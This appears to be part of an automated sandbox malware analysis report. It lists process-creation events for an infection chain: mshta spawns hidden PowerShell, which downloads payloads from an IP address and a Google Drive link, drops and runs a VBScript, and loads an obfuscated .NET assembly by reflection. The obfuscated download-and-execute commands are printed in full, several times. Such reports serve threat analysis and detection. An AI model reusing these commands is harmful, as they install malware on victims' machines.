YScrJ3NlNjRMZW5ndGggPSBTN0ZlbmRJbmRleCAtIFM3RnN0YXInKyd0SW5kZXg7UzdGYmFzZTY0Q29tbWFuZCA9IFM3RmltYWdlVGV4dC5TdWJzdHJpbmcoUzdGc3RhcnRJbmRleCwgUzdGYmFzZTY0TCcrJ2VuZ3RoKTsnKydTN0ZiYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luICcrJyhTN0ZiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgQkRGIEZvckVhY2gtT2JqZWN0IHsgUzdGXyB9KVsnKyctJysnMS4nKycuLShTN0ZiYXNlNjRDb21tYW5kLkxlbmd0aCldO1M3RmNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoUzdGYicrJ2FzZTY0UmV2ZXJzZWQpO1M3RmxvYWRlZEFzJysnc2VtJysnYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChTN0Zjb21tYScrJ25kJysnQnl0JysnZXMpO1M3RnZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXScrJy5HZXRNZXRob2QoYkJIVkFJJysnYkJIKTtTN0Z2YWlNZXRob2QuSW52b2tlKFM3Rm51JysnbGwsIEAoYkJIdHh0LktMTExQTVMvNTYvMTUxLjg3MS42NC44OTEvLzpwdHRoYkJILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhkZXNhdGl2YWRvYkInKydILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhhc3BuZXRfcmVnYnJvd3NlcnNiQkgsIGJCSGRlc2F0aXZhZG9iQkgsIGJCSGRlc2F0aXZhZG9iQkgsYkJIZGVzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvJysnYkJILGJCSGRlc2F0aXZhZG8nKydiQkgsYkJIZGUnKydzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvYkJILGJCSDFiQkgsYkJIZGVzYXRpdmFkb2JCSCkpOycpLlJlUGxhY0UoJ0JERicsJ3wnKS5SZVBsYWNFKCdiQkgnLFtzdFJpbmddW2NoYXJdMzkpLlJlUGxhY0UoJ1M3RicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ShELLId[1]+$shelLId[13]+'x') (('S7Fimage'+'Url = bBHhttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur bBH;S7FwebClient = New-Object System.Net.WebClien'+'t;S7FimageBytes = S7FwebClient.DownloadDa'+'ta(S7Fima'+'geUrl);S7FimageText ='+' [System.Te'+'xt.Encoding]::UTF8.GetString'+'(S7FimageBytes);S7FstartFlag = bBH<<'+'BASE64_'+'START>>bBH;S7FendFlag = b'+'BH<<BASE64_END>>bBH;S7FstartIndex = S7FimageText.IndexOf(S7FstartFlag);S7FendIndex'+' = S7FimageText.IndexOf(S7FendFla'+'g);S7FstartIndex -ge '+'0 -and S7FendIndex -gt S7Fst'+'artIndex;S7FstartIndex += S7F'+'startFlag.Leng'+'th;S7Fba'+'se64Length = S7FendIndex - S7Fstar'+'tIndex;S7Fbase64Command = S7FimageText.Substring(S7FstartIndex, S7Fbase64L'+'ength);'+'S7Fbase64Reversed = -jo'+'in '+'(S7Fbase64Command.ToCharArray() BDF ForEach-Object { S7F_ })['+'-'+'1.'+'.-(S7Fbase64Command.Length)];S7FcommandBytes = [System.Convert]::FromBase64String(S7Fb'+'ase64Reversed);S7FloadedAs'+'sem'+'bly = [System.Reflection.Assembly]::Load(S7Fcomma'+'nd'+'Byt'+'es);S7FvaiMethod = [dnlib.IO.Home]'+'.GetMethod(bBHVAI'+'bBH);S7FvaiMethod.Invoke(S7Fnu'+'ll, @(bBHtxt.KLLLPMS/56/151.871.64.891//:ptthbBH, bBHdesativadobBH, bBHdesativadobB'+'H, bBHdesativadobBH, bBHaspnet_regbrowsersbBH, bBHdesativadobBH, bBHdesativadobBH,bBHdesativadobBH,bBHdesativado'+'bBH,bBHdesativado'+'bBH,bBHde'+'sativadobBH,bBHdesativadobBH,bBH1bBH,bBHdesativadobBH));').RePlacE('BDF','\|').RePlacE('bBH',[stRing][char]39).RePlacE('S7F','$'))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sysTem32\WIndOwspowERSHELl\V1.0\POwErsHELl.EXE" "powerSHeLL.ExE -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE ; IEX($(iEX('[SysTem.tExt.eNCOdINg]'+[cHaR]0x3A+[ChAr]58+'Utf8.geTstrinG([SYsteM.cOnVeRT]'+[cHAR]58+[CHAr]58+'fRoMbaSE64STRiNG('+[ChaR]34+'JDdhMTQ0NGY0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJFcmRFRmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUd5LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBaemFPalJ3d1Asc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRWE1LY1JIQmMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbkV4Tyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkFmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FU3BBQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsYU5FRGsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDdhMTQ0NGY0OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xNTEvNjUvc2VldGhlYmVzdGh0aW5nc3dpdGhtZXdoaWNoZ2l2ZWdyZWF0b3V0cHV0b2ZtZWdvb2QudElGIiwiJGVOVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMiLDAsMCk7U1RBcnQtc0xlRXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMi'+[cHar]0X22+'))')))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y2w1vq2t\y2w1vq2t.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebesthtingswithmewhichgivegreatoutputofm.vBs"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES603A.tmp" "c:\Users\user\AppData\Local\Temp\y2w1vq2t\CSCE3D35A7BEA64426091DB9BB55EAE7DEC.TMP"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRTaEVMTElkWzFdKyRzaGVsTElkWzEzXSsneCcpICgoJ1M3RmltYWdlJysnVXJsID0gYkJIaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgYkJIO1M3RndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbicrJ3Q7UzdGaW1hZ2VCeXRlcyA9IFM3RndlYkNsaWVudC5Eb3dubG9hZERhJysndGEoUzdGaW1hJysnZ2VVcmwpO1M3RmltYWdlVGV4dCA9JysnIFtTeXN0ZW0uVGUnKyd4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nJysnKFM3RmltYWdlQnl0ZXMpO1M3RnN0YXJ0RmxhZyA9IGJCSDw8JysnQkFTRTY0XycrJ1NUQVJUPj5iQkg7UzdGZW5kRmxhZyA9IGInKydCSDw8QkFTRTY0X0VORD4+YkJIO1M3RnN0YXJ0SW5kZXggPSBTN0ZpbWFnZVRleHQuSW5kZXhPZihTN0ZzdGFydEZsYWcpO1M3RmVuZEluZGV4JysnID0gUzdGaW1hZ2VUZXh0LkluZGV4T2YoUzdGZW5kRmxhJysnZyk7UzdGc3RhcnRJbmRleCAtZ2UgJysnMCAtYW5kIFM3RmVuZEluZGV4IC1ndCBTN0ZzdCcrJ2FydEluZGV4O1M3RnN0YXJ0SW5kZXggKz0gUzdGJysnc3RhcnRGbGFnLkxlbmcnKyd0aDtTN0ZiYScrJ3NlNjRMZW5ndGggPSBTN0ZlbmRJbmRleCAtIFM3RnN0YXInKyd0SW5kZXg7UzdGYmFzZTY0Q29tbWFuZCA9IFM3RmltYWdlVGV4dC5TdWJzdHJpbmcoUzdGc3RhcnRJbmRleCwgUzdGYmFzZTY0TCcrJ2VuZ3RoKTsnKydTN0ZiYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luICcrJyhTN0ZiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgQkRGIEZvckVhY2gtT2JqZWN0IHsgUzdGXyB9KVsnKyctJysnMS4nKycuLShTN0ZiYXNlNjRDb21tYW5kLkxlbmd0aCldO1M3RmNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoUzdGYicrJ2FzZTY0UmV2ZXJzZWQpO1M3RmxvYWRlZEFzJysnc2VtJysnYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChTN0Zjb21tYScrJ25kJysnQnl0JysnZXMpO1M3RnZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXScrJy5HZXRNZXRob2QoYkJIVkFJJysnYkJIKTtTN0Z2YWlNZXRob2QuSW52b2tlKFM3Rm51JysnbGwsIEAoYkJIdHh0LktMTExQTVMvNTYvMTUxLjg3MS42NC44OTEvLzpwdHRoYkJILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhkZXNhdGl2YWRvYkInKydILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhhc3BuZXRfcmVnYnJvd3NlcnNiQkgsIGJCSGRlc2F0aXZhZG9iQkgsIGJCSGRlc2F0aXZhZG9iQkgsYkJIZGVzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvJysnYkJILGJCSGRlc2F0aXZhZG8nKydiQkgsYkJIZGUnKydzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvYkJILGJCSDFiQkgsYkJIZGVzYXRpdmFkb2JCSCkpOycpLlJlUGxhY0UoJ0JERicsJ3wnKS5SZVBsYWNFKCdiQkgnLFtzdFJpbmddW2NoYXJdMzkpLlJlUGxhY0UoJ1M3RicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ShELLId[1]+$shelLId[13]+'x') (('S7Fimage'+'Url = bBHhttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur bBH;S7FwebClient = New-Object System.Net.WebClien'+'t;S7FimageBytes = S7FwebClient.DownloadDa'+'ta(S7Fima'+'geUrl);S7FimageText ='+' [System.Te'+'xt.Encoding]::UTF8.GetString'+'(S7FimageBytes);S7FstartFlag = bBH<<'+'BASE64_'+'START>>bBH;S7FendFlag = b'+'BH<<BASE64_END>>bBH;S7FstartIndex = S7FimageText.IndexOf(S7FstartFlag);S7FendIndex'+' = S7FimageText.IndexOf(S7FendFla'+'g);S7FstartIndex -ge '+'0 -and S7FendIndex -gt S7Fst'+'artIndex;S7FstartIndex += S7F'+'startFlag.Leng'+'th;S7Fba'+'se64Length = S7FendIndex - S7Fstar'+'tIndex;S7Fbase64Command = S7FimageText.Substring(S7FstartIndex, S7Fbase64L'+'ength);'+'S7Fbase64Reversed = -jo'+'in '+'(S7Fbase64Command.ToCharArray() BDF ForEach-Object { S7F_ })['+'-'+'1.'+'.-(S7Fbase64Command.Length)];S7FcommandBytes = [System.Convert]::FromBase64String(S7Fb'+'ase64Reversed);S7FloadedAs'+'sem'+'bly = [System.Reflection.Assembly]::Load(S7Fcomma'+'nd'+'Byt'+'es);S7FvaiMethod = [dnlib.IO.Home]'+'.GetMethod(bBHVAI'+'bBH);S7FvaiMethod.Invoke(S7Fnu'+'ll, @(bBHtxt.KLLLPMS/56/151.871.64.891//:ptthbBH, bBHdesativadobBH, bBHdesativadobB'+'H, bBHdesativadobBH, bBHaspnet_regbrowsersbBH, bBHdesativadobBH, bBHdesativadobBH,bBHdesativadobBH,bBHdesativado'+'bBH,bBHdesativado'+'bBH,bBHde'+'sativadobBH,bBHdesativadobBH,bBH1bBH,bBHdesativadobBH));').RePlacE('BDF','\|').RePlacE('bBH',[stRing][char]39).RePlacE('S7F','$'))"

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]34+'jddhmtq0ngy0icagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagigfkzc10wvblicagicagicagicagicagicagicagicagicagicagicaglw1fbujfcmrfrmlosxrpt24gicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivvjstw9uiiwgicagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagicagbud5lhn0cmluzyagicagicagicagicagicagicagicagicagicagicagifbaemfpalj3d1asc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagbugsdwludcagicagicagicagicagicagicagicagicagicagicagietrwe1ly1jiqmmssw50uhryicagicagicagicagicagicagicagicagicagicagicagbkv4tyk7jyagicagicagicagicagicagicagicagicagicagicagic1uyu1licagicagicagicagicagicagicagicagicagicagicagikfmiiagicagicagicagicagicagicagicagicagicagicagic1oyw1fu3bbq2ugicagicagicagicagicagicagicagicagicagicagicbsyu5frgsgicagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicagjddhmtq0ngy0ojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmtk4ljq2lje3oc4xntevnjuvc2vldghlymvzdgh0aw5nc3dpdghtzxdoawnoz2l2zwdyzwf0b3v0chv0b2ztzwdvb2qudelgiiwijgvovjpbufbeqvrbxhnlzxrozwjlc3rodgluz3n3axrobwv3agljagdpdmvncmvhdg91dhb1dg9mbs52qnmildasmck7u1rbcnqtc0xlrxaomyk7c1rbulqgicagicagicagicagicagicagicagicagicagicagicaijevuvjpbufbeqvrbxhnlzxrozwjlc3rodgluz3n3axrobwv3agljagdpdmvncmvhdg91dhb1dg9mbs52qnmi'+[char]0x22+'))')))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'liaoicrtaevmtelkwzfdkyrzagvstelkwzezxssneccpicgoj1m3rmltywdljysnvxjsid0gykjiahr0chm6ly9kcml2zs5nb29nbguuy29tl3vjp2v4cg9ydd1kb3dubg9hzczpzd0xqulwz0pksnyxrjz2uzrzvu95ym5ilxnedlvoqll3dxigykjio1m3rndlyknsawvudca9ie5ldy1pymply3qgu3lzdgvtlk5ldc5xzwjdbgllbicrj3q7uzdgaw1hz2vcexrlcya9ifm3rndlyknsawvudc5eb3dubg9hzerhjysndgeouzdgaw1hjysnz2vvcmwpo1m3rmltywdlvgv4dca9jysnifttexn0zw0uvgunkyd4dc5fbmnvzgluz106olvurjgur2v0u3ryaw5njysnkfm3rmltywdlqnl0zxmpo1m3rnn0yxj0rmxhzya9igjcsdw8jysnqkftrty0xycrj1nuqvjupj5iqkg7uzdgzw5krmxhzya9iginkydcsdw8qkftrty0x0vord4+ykjio1m3rnn0yxj0sw5kzxggpsbtn0zpbwfnzvrlehqusw5kzxhpzihtn0zzdgfydezsywcpo1m3rmvuzeluzgv4jysnid0guzdgaw1hz2vuzxh0lkluzgv4t2youzdgzw5krmxhjysnzyk7uzdgc3rhcnrjbmrlecatz2ugjysnmcatyw5kifm3rmvuzeluzgv4ic1ndcbtn0zzdccrj2fydeluzgv4o1m3rnn0yxj0sw5kzxggkz0guzdgjysnc3rhcnrgbgfnlkxlbmcnkyd0adttn0ziyscrj3nlnjrmzw5ndgggpsbtn0zlbmrjbmrlecatifm3rnn0yxinkyd0sw5kzxg7uzdgymfzzty0q29tbwfuzca9ifm3rmltywdlvgv4dc5tdwjzdhjpbmcouzdgc3rhcnrjbmrlecwguzdgymfzzty0tccrj2vuz3roktsnkydtn0ziyxnlnjrszxzlcnnlzca9ic1qbycrj2luiccrjyhtn0ziyxnlnjrdb21tyw5kllrvq2hhckfycmf5kckgqkrgiezvckvhy2gtt2jqzwn0ihsguzdgxyb9kvsnkyctjysnms4nkyculshtn0ziyxnlnjrdb21tyw5klkxlbmd0acldo1m3rmnvbw1hbmrcexrlcya9ifttexn0zw0uq29udmvydf06okzyb21cyxnlnjrtdhjpbmcouzdgyicrj2fzzty0umv2zxjzzwqpo1m3rmxvywrlzefzjysnc2vtjysnymx5id0gw1n5c3rlbs5szwzszwn0aw9ulkfzc2vtymx5xto6tg9hzchtn0zjb21tyscrj25kjysnqnl0jysnzxmpo1m3rnzhau1ldghvzca9iftkbmxpyi5jty5ib21lxscrjy5hzxrnzxrob2qoykjivkfjjysnykjiktttn0z2ywlnzxrob2qusw52b2tlkfm3rm51jysnbgwsieaoykjidhh0lktmtexqtvmvntyvmtuxljg3ms42nc44otevlzpwdhroykjilcbiqkhkzxnhdgl2ywrvykjilcbiqkhkzxnhdgl2ywrvykinkydilcbiqkhkzxnhdgl2ywrvykjilcbiqkhhc3buzxrfcmvnynjvd3nlcnniqkgsigjcsgrlc2f0axzhzg9iqkgsigjcsgrlc2f0axzhzg9iqkgsykjizgvzyxrpdmfkb2jcscxiqkhkzxnhdgl2ywrvjysnykjilgjcsgrlc2f0axzhzg8nkydiqkgsykjizgunkydzyxrpdmfkb2jcscxiqkhkzxnhdgl2ywrvykjilgjcsdfiqkgsykjizgvzyxrpdmfkb2jcsckpoycplljlugxhy0uoj0jericsj3wnks5szvbsywnfkcdiqkgnlftzdfjpbmddw2noyxjdmzkplljlugxhy0uoj1m3ricsjyqnksk=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command ". ( $shellid[1]+$shellid[13]+'x') (('s7fimage'+'url = bbhhttps://drive.google.com/uc?export=download&id=1aivgjjjv1f6vs4suoybnh-sdvuhbywur bbh;s7fwebclient = new-object system.net.webclien'+'t;s7fimagebytes = s7fwebclient.downloadda'+'ta(s7fima'+'geurl);s7fimagetext ='+' [system.te'+'xt.encoding]::utf8.getstring'+'(s7fimagebytes);s7fstartflag = bbh<<'+'base64_'+'start>>bbh;s7fendflag = b'+'bh<<base64_end>>bbh;s7fstartindex = s7fimagetext.indexof(s7fstartflag);s7fendindex'+' = s7fimagetext.indexof(s7fendfla'+'g);s7fstartindex -ge '+'0 -and s7fendindex -gt s7fst'+'artindex;s7fstartindex += s7f'+'startflag.leng'+'th;s7fba'+'se64length = s7fendindex - s7fstar'+'tindex;s7fbase64command = s7fimagetext.substring(s7fstartindex, s7fbase64l'+'ength);'+'s7fbase64reversed = -jo'+'in '+'(s7fbase64command.tochararray() bdf foreach-object { s7f_ })['+'-'+'1.'+'.-(s7fbase64command.length)];s7fcommandbytes = [system.convert]::frombase64string(s7fb'+'ase64reversed);s7floadedas'+'sem'+'bly = [system.reflection.assembly]::load(s7fcomma'+'nd'+'byt'+'es);s7fvaimethod = [dnlib.io.home]'+'.getmethod(bbhvai'+'bbh);s7fvaimethod.invoke(s7fnu'+'ll, @(bbhtxt.klllpms/56/151.871.64.891//:ptthbbh, bbhdesativadobbh, bbhdesativadobb'+'h, bbhdesativadobbh, bbhaspnet_regbrowsersbbh, bbhdesativadobbh, bbhdesativadobbh,bbhdesativadobbh,bbhdesativado'+'bbh,bbhdesativado'+'bbh,bbhde'+'sativadobbh,bbhdesativadobbh,bbh1bbh,bbhdesativadobbh));').replace('bdf','\|').replace('bbh',[string][char]39).replace('s7f','$'))"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]34+'jddhmtq0ngy0icagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagigfkzc10wvblicagicagicagicagicagicagicagicagicagicagicaglw1fbujfcmrfrmlosxrpt24gicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivvjstw9uiiwgicagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagicagbud5lhn0cmluzyagicagicagicagicagicagicagicagicagicagicagifbaemfpalj3d1asc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagbugsdwludcagicagicagicagicagicagicagicagicagicagicagietrwe1ly1jiqmmssw50uhryicagicagicagicagicagicagicagicagicagicagicagbkv4tyk7jyagicagicagicagicagicagicagicagicagicagicagic1uyu1licagicagicagicagicagicagicagicagicagicagicagikfmiiagicagicagicagicagicagicagicagicagicagicagic1oyw1fu3bbq2ugicagicagicagicagicagicagicagicagicagicagicbsyu5frgsgicagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicagjddhmtq0ngy0ojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmtk4ljq2lje3oc4xntevnjuvc2vldghlymvzdgh0aw5nc3dpdghtzxdoawnoz2l2zwdyzwf0b3v0chv0b2ztzwdvb2qudelgiiwijgvovjpbufbeqvrbxhnlzxrozwjlc3rodgluz3n3axrobwv3agljagdpdmvncmvhdg91dhb1dg9mbs52qnmildasmck7u1rbcnqtc0xlrxaomyk7c1rbulqgicagicagicagicagicagicagicagicagicagicagicaijevuvjpbufbeqvrbxhnlzxrozwjlc3rodgluz3n3axrobwv3agljagdpdmvncmvhdg91dhb1dg9mbs52qnmi'+[char]0x22+'))')))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'liaoicrtaevmtelkwzfdkyrzagvstelkwzezxssneccpicgoj1m3rmltywdljysnvxjsid0gykjiahr0chm6ly9kcml2zs5nb29nbguuy29tl3vjp2v4cg9ydd1kb3dubg9hzczpzd0xqulwz0pksnyxrjz2uzrzvu95ym5ilxnedlvoqll3dxigykjio1m3rndlyknsawvudca9ie5ldy1pymply3qgu3lzdgvtlk5ldc5xzwjdbgllbicrj3q7uzdgaw1hz2vcexrlcya9ifm3rndlyknsawvudc5eb3dubg9hzerhjysndgeouzdgaw1hjysnz2vvcmwpo1m3rmltywdlvgv4dca9jysnifttexn0zw0uvgunkyd4dc5fbmnvzgluz106olvurjgur2v0u3ryaw5njysnkfm3rmltywdlqnl0zxmpo1m3rnn0yxj0rmxhzya9igjcsdw8jysnqkftrty0xycrj1nuqvjupj5iqkg7uzdgzw5krmxhzya9iginkydcsdw8qkftrty0x0vord4+ykjio1m3rnn0yxj0sw5kzxggpsbtn0zpbwfnzvrlehqusw5kzxhpzihtn0zzdgfydezsywcpo1m3rmvuzeluzgv4jysnid0guzdgaw1hz2vuzxh0lkluzgv4t2youzdgzw5krmxhjysnzyk7uzdgc3rhcnrjbmrlecatz2ugjysnmcatyw5kifm3rmvuzeluzgv4ic1ndcbtn0zzdccrj2fydeluzgv4o1m3rnn0yxj0sw5kzxggkz0guzdgjysnc3rhcnrgbgfnlkxlbmcnkyd0adttn0ziyscrj3nlnjrmzw5ndgggpsbtn0zlbmrjbmrlecatifm3rnn0yxinkyd0sw5kzxg7uzdgymfzzty0q29tbwfuzca9ifm3rmltywdlvgv4dc5tdwjzdhjpbmcouzdgc3rhcnrjbmrlecwguzdgymfzzty0tccrj2vuz3roktsnkydtn0ziyxnlnjrszxzlcnnlzca9ic1qbycrj2luiccrjyhtn0ziyxnlnjrdb21tyw5kllrvq2hhckfycmf5kckgqkrgiezvckvhy2gtt2jqzwn0ihsguzdgxyb9kvsnkyctjysnms4nkyculshtn0ziyxnlnjrdb21tyw5klkxlbmd0acldo1m3rmnvbw1hbmrcexrlcya9ifttexn0zw0uq29udmvydf06okzyb21cyxnlnjrtdhjpbmcouzdgyicrj2fzzty0umv2zxjzzwqpo1m3rmxvywrlzefzjysnc2vtjysnymx5id0gw1n5c3rlbs5szwzszwn0aw9ulkfzc2vtymx5xto6tg9hzchtn0zjb21tyscrj25kjysnqnl0jysnzxmpo1m3rnzhau1ldghvzca9iftkbmxpyi5jty5ib21lxscrjy5hzxrnzxrob2qoykjivkfjjysnykjiktttn0z2ywlnzxrob2qusw52b2tlkfm3rm51jysnbgwsieaoykjidhh0lktmtexqtvmvntyvmtuxljg3ms42nc44otevlzpwdhroykjilcbiqkhkzxnhdgl2ywrvykjilcbiqkhkzxnhdgl2ywrvykinkydilcbiqkhkzxnhdgl2ywrvykjilcbiqkhhc3buzxrfcmvnynjvd3nlcnniqkgsigjcsgrlc2f0axzhzg9iqkgsigjcsgrlc2f0axzhzg9iqkgsykjizgvzyxrpdmfkb2jcscxiqkhkzxnhdgl2ywrvjysnykjilgjcsgrlc2f0axzhzg8nkydiqkgsykjizgunkydzyxrpdmfkb2jcscxiqkhkzxnhdgl2ywrvykjilgjcsdfiqkgsykjizgvzyxrpdmfkb2jcsckpoycplljlugxhy0uoj0jericsj3wnks5szvbsywnfkcdiqkgnlftzdfjpbmddw2noyxjdmzkplljlugxhy0uoj1m3ricsjyqnksk=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command 